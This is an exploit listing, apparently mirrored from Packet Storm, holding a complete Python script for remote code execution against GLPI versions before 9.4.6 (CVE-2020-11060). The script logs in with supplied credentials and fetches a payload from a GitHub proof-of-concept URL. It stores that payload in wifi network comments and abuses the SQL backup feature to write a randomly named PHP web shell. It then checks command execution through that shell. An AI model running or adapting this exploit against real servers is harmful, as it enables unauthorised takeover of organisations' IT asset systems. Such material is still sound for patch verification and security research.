Share
## https://sploitus.com/exploit?id=PACKETSTORM:163119
# Exploit Title: GLPI 9.4.5 - Remote Code Execution (RCE)  
# Exploit Author: Brian Peters  
# Vendor Homepage: https://glpi-project.org  
# Software Link: https://github.com/glpi-project/glpi/releases  
# Version: < 9.4.6  
# CVE: CVE-2020-11060  
  
# Download a SQL dump and find the table offset for "wifinetworks" with   
# cat <sqlfile> | grep "CREATE TABLE" | grep -n wifinetworks  
# Update the offsettable value with this number in the create_dump function  
# The Nix/Win paths are based on defaults. You can use curl -I <url> and use md5sum to find the path based  
# on the Set-Cookie hash.  
  
#!/usr/bin/python  
  
import argparse  
import json  
import random  
import re  
import requests  
import string  
import sys  
import time  
from datetime import datetime  
from lxml import html  
  
class GlpiBrowser:  
  
def __init__(self, url, user, password, platform):  
self.url = url  
self.user = user  
self.password = password  
self.platform = platform  
  
self.session = requests.Session()  
self.session.verify = False  
requests.packages.urllib3.disable_warnings()  
  
def extract_csrf(self, html):  
return re.findall('name="_glpi_csrf_token" value="([a-f0-9]{32})"', html)[0]  
  
def get_login_data(self):  
r = self.session.get('{0}'.format(self.url), allow_redirects=True)  
  
csrf_token = self.extract_csrf(r.text)  
name_field = re.findall('name="(.*)" id="login_name"', r.text)[0]  
pass_field = re.findall('name="(.*)" id="login_password"', r.text)[0]  
  
return name_field, pass_field, csrf_token  
  
def login(self):  
try:  
name_field, pass_field, csrf_token = self.get_login_data()  
except Exception as e:  
print "[-] Login error: could not retrieve form data"  
sys.exit(1)  
  
data = {  
name_field: self.user,   
pass_field: self.password,  
"auth": "local",  
"submit": "Post",  
"_glpi_csrf_token": csrf_token  
}  
  
r = self.session.post('{}/front/login.php'.format(self.url), data=data, allow_redirects=False)  
  
return r.status_code == 302  
  
def wipe_networks(self, padding, datemod):  
r = self.session.get('https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt')  
comment = r.content  
  
r = self.session.get('{0}/front/wifinetwork.php#modal_massaction_contentb5e83b3aa28f203595c34c5dbcea85c9'.format(self.url))  
try:  
csrf_token = self.extract_csrf(r.text)  
except Exception as e:  
print "[-] Edit network error: could not retrieve form data"  
sys.exit(1)  
  
webpage = html.fromstring(r.content)  
links = webpage.xpath('//a/@href')  
for rawlink in links:  
if "wifinetwork.form.php?id=" in rawlink:  
rawlinkparts = rawlink.split("=")  
networkid = rawlinkparts[-1]  
print "Deleting network "+networkid  
  
data = {  
"entities_id": "0",  
"is_recursive": "0",  
"name": "PoC",  
"comment": comment,  
"essid": "RCE"+padding,  
"mode": "ad-hoc",  
"purge": "Delete permanently",  
"id": networkid,  
"_glpi_csrf_token": csrf_token,  
'_read_date_mod': datemod  
}  
  
r = self.session.post('{}/front/wifinetwork.form.php'.format(self.url), data=data)  
  
def create_network(self, datemod):  
r = self.session.get('https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt')  
comment = r.content  
  
r = self.session.get('{0}/front/wifinetwork.php'.format(self.url))  
try:  
csrf_token = self.extract_csrf(r.text)  
except Exception as e:  
print "[-] Create network error: could not retrieve form data"  
sys.exit(1)  
  
data = {  
"entities_id": "0",  
"is_recursive": "0",  
"name": "PoC",  
"comment": comment,  
"essid": "RCE",  
"mode": "ad-hoc",  
"add": "ADD",  
"_glpi_csrf_token": csrf_token,  
'_read_date_mod': datemod  
}  
  
r = self.session.post('{}/front/wifinetwork.form.php'.format(self.url), data=data)  
print "[+] Network created"  
print " Name: PoC"  
print " ESSID: RCE"  
  
def edit_network(self, padding, datemod):  
r = self.session.get('https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt')  
comment = r.content  
#create the padding for the name and essid  
  
  
r = self.session.get('{0}/front/wifinetwork.php'.format(self.url))  
webpage = html.fromstring(r.content)  
links = webpage.xpath('//a/@href')  
for rawlink in links:  
if "wifinetwork.form.php?id=" in rawlink:  
rawlinkparts = rawlink.split('/')  
link = rawlinkparts[-1]  
  
#edit the network name and essid  
r = self.session.get('{0}/front/{1}'.format(self.url, link))  
try:  
csrf_token = self.extract_csrf(r.text)  
except Exception as e:  
print "[-] Edit network error: could not retrieve form data"  
sys.exit(1)  
  
rawlinkparts = rawlink.split("=")  
networkid = rawlinkparts[-1]  
  
data = {  
"entities_id": "0",  
"is_recursive": "0",  
"name": "PoC",  
"comment": comment,  
"essid": "RCE"+padding,  
"mode": "ad-hoc",  
"update": "Save",  
"id": networkid,  
"_glpi_csrf_token": csrf_token,  
"_read_date_mod": datemod  
}  
r = self.session.post('{0}/front/wifinetwork.form.php'.format(self.url), data=data)  
print "[+] Network mofified"  
print " New ESSID: RCE"+padding  
  
def create_dump(self, shellname):  
path=''  
if self.platform == "Win":  
path="C:\\xampp\\htdocs\\pics\\"  
elif self.platform == "Nix":  
path="/var/www/html/glpi/pics/"  
  
#adjust offset number to match the table number for wifi_networks  
#this can be found by downloading a SQL dump and running cat <dumpname> | grep "CREATE TABLE" | grep -n "wifinetworks"  
r = self.session.get('{0}/front/backup.php?dump=dump&offsettable=312&fichier={1}{2}'.format(self.url, path, shellname))  
  
print '[+] Shell: {0}/pics/{1}'.format(self.url, shellname)  
  
def shell_check(self, shellname):  
r = self.session.get('{0}/pics/{1}?0=echo%20asdfasdfasdf'.format(self.url, shellname))  
print " Shell size: "+str(len(r.content))  
if "asdfasdfasdf" in r.content:  
print "[+] RCE FOUND!"  
sys.exit(1)  
return len(r.content)  
  
def pwn(self):  
if not self.login():  
print "[-] Login error"  
return  
else:  
print "[+] Logged in"  
  
#create timestamp  
now = datetime.now()  
datemod = now.strftime("%Y-%m-%d %H:%M:%S")  
  
#create comment payload  
  
tick=1  
while True:  
#create random shell name  
letters = string.ascii_letters  
shellname = ''.join(random.choice(letters) for i in range(8))+".php"  
  
#create padding for ESSID  
padding = ''  
for i in range(1,int(tick)+1):  
padding+=str(i)  
  
self.wipe_networks(padding, datemod)  
self.create_network(datemod)  
self.edit_network(padding, datemod)   
self.create_dump(shellname)  
self.shell_check(shellname)  
print "\n"  
raw_input("Press any key to continue with the next iteration...")  
tick+=1  
  
return  
  
if __name__ == '__main__':  
  
parser = argparse.ArgumentParser()  
parser.add_argument("--url", help="Target URL", required=True)  
parser.add_argument("--user", help="Username", required=True)  
parser.add_argument("--password", help="Password", required=True)  
parser.add_argument("--platform", help="Win/Nix", required=True)  
  
args = parser.parse_args()  
  
g = GlpiBrowser(args.url, user=args.user, password=args.password, platform=args.platform)  
  
g.pwn()